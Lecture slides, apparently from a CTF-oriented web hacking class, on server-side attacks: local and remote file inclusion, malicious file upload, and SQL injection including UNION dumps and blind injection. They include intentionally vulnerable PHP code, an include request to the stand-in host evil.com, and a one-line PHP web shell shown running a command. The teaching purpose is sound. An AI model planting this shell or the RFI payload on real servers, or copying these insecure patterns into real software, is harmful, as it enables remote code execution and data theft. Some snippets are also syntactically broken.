Intro to Web Hacking 2

Serverside Attacks on Web Applications

what is serverside?

- all attacks in web applications result from vulnerabilities in the application code
- target specifically manipulating the server opposed to the browsers of its users (clientside)

[vuln] file inclusion

- local and remote file inclusion (LFI & RFI)
- results from unchecked user input to include a file either locally present on the server (LFI) or from a remote location (RFI)
- PHP has the biggest likelihood of this vulnerability

lfi example

Legitimate use of the PHP include statement:

```
<?php
    include ‘config.php’; // now we can access all the code in config.php

    config_initialize();
?>
```

Vulnerable use of the PHP include statement:

```
<title> Fruit Picker, RELOADED </title>
<body>
<?php
    if (isset($_GET[‘page’]))
    {
        include $_GET[‘page’];
    }
?>
</body>
```

rfi example

What happens if we include a remotely accessible resource?

```
GET /?page=http://evil.com/payload.php HTTP/1.1
```

THIS USED TO WORK!

php.ini (the PHP config file) no longer does this by default...

```
; Whether to allow include/require to open URLs (like http:// or ftp://) ;
as files.
; http://php.net/allow-url-include
allow_url_include = Off
```

where can things go wrong?

This script allows a user to upload files to the webserver

```
<?php

    $targetdir = ‘uploads/’;
    $targetdir .= $_FILES[‘name’];

    if (move_uploaded_file($_FILES[‘file’][‘tmp_name’], $targetdir))
        echo “file uploaded to $targetdir”;
    else
        echo “failed to upload file”;

?>
```

[sploit] file upload

What if we upload our own PHP code?

```
<?php /*shell.php*/

    system($_GET[‘cmd’]);

?>
```

```
file uploaded to uploads/shell.php!
```

And then navigate to it?

```
GET /uploads/shell.php?cmd=id HTTP/1.1
```

```
uid=48(apache) gid=48(apache) groups=48(apache)
```

[sploit] Advanced SQLi

What more can we do with arbitrary SQL?
How would we dump a database?

```
<?php
    $query = $db->prepare(“SELECT id, type, expiration
                FROM fruits
                WHERE type=’” . $_GET[‘fruit’] . ‘;“);

    $query->execute();

    while ($row = $query->fetch(PDO::FETCH_ASSOC))
    {
        echo “$row[‘id’]: $row[‘expiration’]”;
    }
?>
```

[database] Advanced SQL

- in MySQL we have the special information_schema database. This gives us everything we need to know about tables and columns of other tables

- We also have the UNION keyword

- This is all we need to dump the DB!

[database] Advanced SQL

- in MySQL we have the special information_schema database. This gives us everything we need to know about tables and columns of other tables

- We also have the UNION keyword

- This is all we need to dump the DB!

[database] Advanced SQL

Using information_schema:

```
mysql> SELECT table_schema, table_name from information_schema.tables;
```

table_schema	table_name
fruits_ltd	fruits
fruits_ltd	rare_fruits

```
mysql> SELECT name FROM fruits UNION
        SELECT name FROM rare_fruits;
```

banana (normal)
apple (normal)
durian (rare)

[demo] Advanced SQLi

damo.clanteam.com/sch3/

[sploit] More Advanced SQLi

What can we do with this?

```
<?php

    $query = $db->prepare(“SELECT id
                            FROM rare_fruits
                            WHERE fruit=’” . $_GET[‘fruit’] . “‘“;

    $query->execute()

    if ($query->rowCount())
    {
        echo ‘That fruit exists in our catalog. Contact our manager for more ’;
        echo ‘information.’;
    }
    else
        echo ‘We currently don’t offer that fruit. Sorry!’;
?>
```

This would lead to BLIND BOOLEAN-BASED INJECTION.

[sploit] More Advanced SQLi

What can we do with this?

```
<?php

    $query = $db->prepare(“SELECT id
                           FROM tokens
                           WHERE token_value=’” . $_GET[‘token’] . “‘“;

    $query->execute()

    if ($query->rowCount())
    {
        $f = fopen(‘logs.txt’, ‘w’);
        fwrite($f, $query->fetch(PDO::FETCH_ASSOC));
        fclose($f);
    }

?>
```

This would lead to BLIND TIME-BASED INJECTION.

You should know everything you need to solve both the web challenges in the csaw-level category!

ctf.hackevergreen.org

Shall we play a game?